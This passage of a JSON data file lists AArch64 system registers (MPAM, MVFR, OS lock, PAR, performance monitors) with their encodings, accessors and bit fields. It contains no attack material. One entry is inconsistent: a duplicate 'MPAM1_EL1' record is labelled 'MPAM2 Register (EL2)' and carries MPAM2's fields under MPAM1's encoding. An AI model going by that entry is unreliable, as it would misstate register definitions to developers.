["MRS"], "fieldsets": [{"fields": [{"name": "Implementer", "msb": 31, "lsb": 24}, {"name": "Variant", "msb": 23, "lsb": 20}, {"name": "Architecture", "msb": 19, "lsb": 16}, {"name": "PartNum", "msb": 15, "lsb": 4}, {"name": "Revision", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAM0_EL1", "fullname": "MPAM0 Register (EL1)", "enc": [3, 0, 10, 5, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PMG_D", "msb": 47, "lsb": 40}, {"name": "PMG_I", "msb": 39, "lsb": 32}, {"name": "PARTID_D", "msb": 31, "lsb": 16}, {"name": "PARTID_I", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAM1_EL1", "fullname": "MPAM1 Register (EL1)", "enc": [3, 0, 10, 5, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MPAMEN", "msb": 63, "lsb": 63}, {"name": "FORCED_NS", "msb": 60, "lsb": 60}, {"name": "PMG_D", "msb": 47, "lsb": 40}, {"name": "PMG_I", "msb": 39, "lsb": 32}, {"name": "PARTID_D", "msb": 31, "lsb": 16}, {"name": "PARTID_I", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAM1_EL12", "fullname": "MPAM1 Register (EL1)", "enc": [3, 5, 10, 5, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MPAMEN", "msb": 63, "lsb": 63}, {"name": "FORCED_NS", "msb": 60, "lsb": 60}, {"name": "PMG_D", "msb": 47, "lsb": 40}, {"name": "PMG_I", "msb": 39, "lsb": 32}, {"name": "PARTID_D", "msb": 31, "lsb": 16}, {"name": "PARTID_I", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAM1_EL1", "fullname": "MPAM2 Register (EL2)", "enc": [3, 0, 10, 5, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MPAMEN", "msb": 63, "lsb": 63}, {"name": "TIDR", "msb": 58, "lsb": 58}, {"name": "TRAPMPAM0EL1", "msb": 49, "lsb": 49}, {"name": "TRAPMPAM1EL1", "msb": 48, "lsb": 48}, {"name": "PMG_D", "msb": 47, "lsb": 40}, {"name": "PMG_I", "msb": 39, "lsb": 32}, {"name": "PARTID_D", "msb": 31, "lsb": 16}, {"name": "PARTID_I", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAM2_EL2", "fullname": "MPAM2 Register (EL2)", "enc": [3, 4, 10, 5, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MPAMEN", "msb": 63, "lsb": 63}, {"name": "TIDR", "msb": 58, "lsb": 58}, {"name": "TRAPMPAM0EL1", "msb": 49, "lsb": 49}, {"name": "TRAPMPAM1EL1", "msb": 48, "lsb": 48}, {"name": "PMG_D", "msb": 47, "lsb": 40}, {"name": "PMG_I", "msb": 39, "lsb": 32}, {"name": "PARTID_D", "msb": 31, "lsb": 16}, {"name": "PARTID_I", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAM3_EL3", "fullname": "MPAM3 Register (EL3)", "enc": [3, 6, 10, 5, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MPAMEN", "msb": 63, "lsb": 63}, {"name": "TRAPLOWER", "msb": 62, "lsb": 62}, {"name": "SDEFLT", "msb": 61, "lsb": 61}, {"name": "FORCE_NS", "msb": 60, "lsb": 60}, {"name": "PMG_D", "msb": 47, "lsb": 40}, {"name": "PMG_I", "msb": 39, "lsb": 32}, {"name": "PARTID_D", "msb": 31, "lsb": 16}, {"name": "PARTID_I", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAMHCR_EL2", "fullname": "MPAM Hypervisor Control Register (EL2)", "enc": [3, 4, 10, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TRAP_MPAMIDR_EL1", "msb": 31, "lsb": 31}, {"name": "GSTAPP_PLK", "msb": 8, "lsb": 8}, {"name": "EL1_VPMEN", "msb": 1, "lsb": 1}, {"name": "EL0_VPMEN", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAMIDR_EL1", "fullname": "MPAM ID Register (EL1)", "enc": [3, 0, 10, 4, 4], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "HAS_SDEFLT", "msb": 61, "lsb": 61}, {"name": "HAS_FORCE_NS", "msb": 60, "lsb": 60}, {"name": "HAS_TIDR", "msb": 58, "lsb": 58}, {"name": "PMG_MAX", "msb": 39, "lsb": 32}, {"name": "VPMR_MAX", "msb": 20, "lsb": 18}, {"name": "HAS_HCR", "msb": 17, "lsb": 17}, {"name": "PARTID_MAX", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAMVPM0_EL2", "fullname": "MPAM Virtual PARTID Mapping Register 0", "enc": [3, 4, 10, 6, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PhyPARTID3", "msb": 63, "lsb": 48}, {"name": "PhyPARTID2", "msb": 47, "lsb": 32}, {"name": "PhyPARTID1", "msb": 31, "lsb": 16}, {"name": "PhyPARTID0", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAMVPM1_EL2", "fullname": "MPAM Virtual PARTID Mapping Register 1", "enc": [3, 4, 10, 6, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PhyPARTID7", "msb": 63, "lsb": 48}, {"name": "PhyPARTID6", "msb": 47, "lsb": 32}, {"name": "PhyPARTID5", "msb": 31, "lsb": 16}, {"name": "PhyPARTID4", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAMVPM2_EL2", "fullname": "MPAM Virtual PARTID Mapping Register 2", "enc": [3, 4, 10, 6, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PhyPARTID11", "msb": 63, "lsb": 48}, {"name": "PhyPARTID10", "msb": 47, "lsb": 32}, {"name": "PhyPARTID9", "msb": 31, "lsb": 16}, {"name": "PhyPARTID8", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAMVPM3_EL2", "fullname": "MPAM Virtual PARTID Mapping Register 3", "enc": [3, 4, 10, 6, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PhyPARTID15", "msb": 63, "lsb": 48}, {"name": "PhyPARTID14", "msb": 47, "lsb": 32}, {"name": "PhyPARTID13", "msb": 31, "lsb": 16}, {"name": "PhyPARTID12", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAMVPM4_EL2", "fullname": "MPAM Virtual PARTID Mapping Register 4", "enc": [3, 4, 10, 6, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PhyPARTID19", "msb": 63, "lsb": 48}, {"name": "PhyPARTID18", "msb": 47, "lsb": 32}, {"name": "PhyPARTID17", "msb": 31, "lsb": 16}, {"name": "PhyPARTID16", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAMVPM5_EL2", "fullname": "MPAM Virtual PARTID Mapping Register 5", "enc": [3, 4, 10, 6, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PhyPARTID23", "msb": 63, "lsb": 48}, {"name": "PhyPARTID22", "msb": 47, "lsb": 32}, {"name": "PhyPARTID21", "msb": 31, "lsb": 16}, {"name": "PhyPARTID20", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAMVPM6_EL2", "fullname": "MPAM Virtual PARTID Mapping Register 6", "enc": [3, 4, 10, 6, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PhyPARTID27", "msb": 63, "lsb": 48}, {"name": "PhyPARTID26", "msb": 47, "lsb": 32}, {"name": "PhyPARTID25", "msb": 31, "lsb": 16}, {"name": "PhyPARTID24", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAMVPM7_EL2", "fullname": "MPAM Virtual PARTID Mapping Register 7", "enc": [3, 4, 10, 6, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PhyPARTID31", "msb": 63, "lsb": 48}, {"name": "PhyPARTID30", "msb": 47, "lsb": 32}, {"name": "PhyPARTID29", "msb": 31, "lsb": 16}, {"name": "PhyPARTID28", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPAMVPMV_EL2", "fullname": "MPAM Virtual Partition Mapping Valid Register", "enc": [3, 4, 10, 4, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "VPM_V", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MPIDR_EL1", "fullname": "Multiprocessor Affinity Register", "enc": [3, 0, 0, 0, 5], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Aff3", "msb": 39, "lsb": 32}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "MT", "msb": 24, "lsb": 24}, {"name": "Aff2", "msb": 23, "lsb": 16}, {"name": "Aff1", "msb": 15, "lsb": 8}, {"name": "Aff0", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MVFR0_EL1", "fullname": "AArch32 Media and VFP Feature Register 0", "enc": [3, 0, 0, 3, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "FPRound", "msb": 31, "lsb": 28}, {"name": "FPShVec", "msb": 27, "lsb": 24}, {"name": "FPSqrt", "msb": 23, "lsb": 20}, {"name": "FPDivide", "msb": 19, "lsb": 16}, {"name": "FPTrap", "msb": 15, "lsb": 12}, {"name": "FPDP", "msb": 11, "lsb": 8}, {"name": "FPSP", "msb": 7, "lsb": 4}, {"name": "SIMDReg", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "MVFR1_EL1", "fullname": "AArch32 Media and VFP Feature Register 1", "enc": [3, 0, 0, 3, 1], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "SIMDFMAC", "msb": 31, "lsb": 28}, {"name": "FPHP", "msb": 27, "lsb": 24}, {"name": "SIMDHP", "msb": 23, "lsb": 20}, {"name": "SIMDSP", "msb": 19, "lsb": 16}, {"name": "SIMDInt", "msb": 15, "lsb": 12}, {"name": "SIMDLS", "msb": 11, "lsb": 8}, {"name": "FPDNaN", "msb": 7, "lsb": 4}, {"name": "FPFtZ", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "MVFR2_EL1", "fullname": "AArch32 Media and VFP Feature Register 2", "enc": [3, 0, 0, 3, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "FPMisc", "msb": 7, "lsb": 4}, {"name": "SIMDMisc", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "NZCV", "fullname": "Condition Flags", "enc": [3, 3, 4, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}]}], "width": 64}, {"index": 0, "name": "OSDLR_EL1", "fullname": "OS Double Lock Register", "enc": [2, 0, 1, 3, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "DLK", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "OSDTRRX_EL1", "fullname": "OS Lock Data Transfer Register, Receive", "enc": [2, 0, 0, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "OSDTRTX_EL1", "fullname": "OS Lock Data Transfer Register, Transmit", "enc": [2, 0, 0, 3, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "OSECCR_EL1", "fullname": "OS Lock Exception Catch Control Register", "enc": [2, 0, 0, 6, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "OSLSR_EL1.OSLK == 1", "fields": [{"name": "EDECCR", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "OSLAR_EL1", "fullname": "OS Lock Access Register", "enc": [2, 0, 1, 0, 4], "accessors": ["MSR"], "fieldsets": [{"fields": [{"name": "OSLK", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "OSLSR_EL1", "fullname": "OS Lock Status Register", "enc": [2, 0, 1, 1, 4], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "OSLM", "msb": 3, "lsb": 3}, {"name": "nTT", "msb": 2, "lsb": 2}, {"name": "OSLK", "msb": 1, "lsb": 1}, {"name": "OSLM[0]", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PAN", "fullname": "Privileged Access Never", "enc": [3, 0, 4, 2, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PAN", "msb": 22, "lsb": 22}]}], "width": 64}, {"index": 0, "name": "PAR_EL1", "fullname": "Physical Address Register", "enc": [3, 0, 7, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "AArch64-PAR_EL1.F == 0b0", "fields": [{"name": "ATTR", "msb": 63, "lsb": 56}, {"name": "PA[51:48]", "msb": 51, "lsb": 48}, {"name": "PA[47:12]", "msb": 47, "lsb": 12}, {"name": "IMPLEMENTATION DEFINED", "msb": 10, "lsb": 10}, {"name": "NS", "msb": 9, "lsb": 9}, {"name": "SH", "msb": 8, "lsb": 7}, {"name": "F", "msb": 0, "lsb": 0}]}, {"instance": "AArch64-PAR_EL1.F == 0b1", "fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 63, "lsb": 56}, {"name": "IMPLEMENTATION DEFINED", "msb": 55, "lsb": 52}, {"name": "IMPLEMENTATION DEFINED", "msb": 51, "lsb": 48}, {"name": "S", "msb": 9, "lsb": 9}, {"name": "PTW", "msb": 8, "lsb": 8}, {"name": "FST", "msb": 6, "lsb": 1}, {"name": "F", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMBIDR_EL1", "fullname": "Profiling Buffer ID Register", "enc": [3, 0, 9, 10, 7], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "F", "msb": 5, "lsb": 5}, {"name": "P", "msb": 4, "lsb": 4}, {"name": "Align", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMBLIMITR_EL1", "fullname": "Profiling Buffer Limit Address Register", "enc": [3, 0, 9, 10, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "LIMIT", "msb": 63, "lsb": 12}, {"name": "PMFZ", "msb": 5, "lsb": 5}, {"name": "FM", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMBPTR_EL1", "fullname": "Profiling Buffer Write Pointer Register", "enc": [3, 0, 9, 10, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "PMBSR_EL1", "fullname": "Profiling Buffer Status/syndrome Register", "enc": [3, 0, 9, 10, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EC", "msb": 31, "lsb": 26}, {"name": "DL", "msb": 19, "lsb": 19}, {"name": "EA", "msb": 18, "lsb": 18}, {"name": "S", "msb": 17, "lsb": 17}, {"name": "COLL", "msb": 16, "lsb": 16}, {"name": "MSS", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMCCFILTR_EL0", "fullname": "Performance Monitors Cycle Count Filter Register", "enc": [3, 3, 14, 15, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "SH", "msb": 24, "lsb": 24}]}], "width": 64}, {"index": 0, "name": "PMCCNTR_EL0", "fullname": "Performance Monitors Cycle Count Register", "enc": [3, 3, 9, 13, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "PMCEID0_EL0", "fullname": "Performance Monitors Common Event Identification register 0", "enc": [3, 3, 9, 12, 6], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "IDhi", "msb": 63, "lsb": 32}, {"name": "ID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMCEID1_EL0", "fullname": "Performance Monitors Common Event Identification register 1", "enc": [3, 3, 9, 12, 7], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "IDhi", "msb": 63, "lsb": 32}, {"name": "ID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMCNTENCLR_EL0", "fullname": "Performance Monitors Count Enable Clear register", "enc": [3, 3, 9, 12, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "C", "msb": 31, "lsb": 31}, {"name": "P", "msb": 30, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMCNTENSET_EL0", "fullname": "Performance Monitors Count Enable Set register", "enc": [3, 3, 9, 12, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "C", "msb": 31, "lsb": 31}, {"name": "P", "msb": 30, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMCR_EL0", "fullname": "Performance Monitors Control Register", "enc": [3, 3, 9, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "FZS", "msb": 32, "lsb": 32}, {"name": "IMP", "msb": 31, "lsb": 24}, {"name": "IDCODE", "msb": 23, "lsb": 16}, {"name": "N", "msb": 15, "lsb": 11}, {"name": "FZO", "msb": 9, "lsb": 9}, {"name": "LP", "msb": 7, "lsb": 7}, {"name": "LC", "msb": 6, "lsb": 6}, {"name": "DP", "msb": 5, "lsb": 5}, {"name": "X", "msb": 4, "lsb": 4}, {"name": "D", "msb": 3, "lsb": 3}, {"name": "C", "msb": 2, "lsb": 2}, {"name": "P", "msb": 1, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMEVCNTR0_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 1, "name": "PMEVCNTR1_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 2, "name": "PMEVCNTR2_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 3, "name": "PMEVCNTR3_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 4, "name": "PMEVCNTR4_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 5, "name": "PMEVCNTR5_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 6, "name": "PMEVCNTR6_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 7, "name": "PMEVCNTR7_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 8, "name": "PMEVCNTR8_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 9, "name": "PMEVCNTR9_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 10, "name": "PMEVCNTR10_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 11, "name": "PMEVCNTR11_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 12, "name": "PMEVCNTR12_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 13, "name": "PMEVCNTR13_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 14, "name": "PMEVCNTR14_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 15, "name": "PMEVCNTR15_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 16, "name": "PMEVCNTR16_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 17, "name": "PMEVCNTR17_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 18, "name": "PMEVCNTR18_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 19, "name": "PMEVCNTR19_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 20, "name": "PMEVCNTR20_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 21, "name": "PMEVCNTR21_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 22, "name": "PMEVCNTR22_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 23, "name": "PMEVCNTR23_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 24, "name": "PMEVCNTR24_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 25, "name": "PMEVCNTR25_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 26, "name": "PMEVCNTR26_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 27, "name": "PMEVCNTR27_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 28, "name": "PMEVCNTR28_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 29, "name": "PMEVCNTR29_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 30, "name": "PMEVCNTR30_EL0", "fullname": "Performance Monitors Event Count Registers", "enc": [3, 3, 14, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": []}], "width": 64}, {"index": 0, "name": "PMEVTYPER0_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "PMEVTYPER1_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "PMEVTYPER2_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "PMEVTYPER3_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 4, "name": "PMEVTYPER4_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 5, "name": "PMEVTYPER5_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 6, "name": "PMEVTYPER6_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": 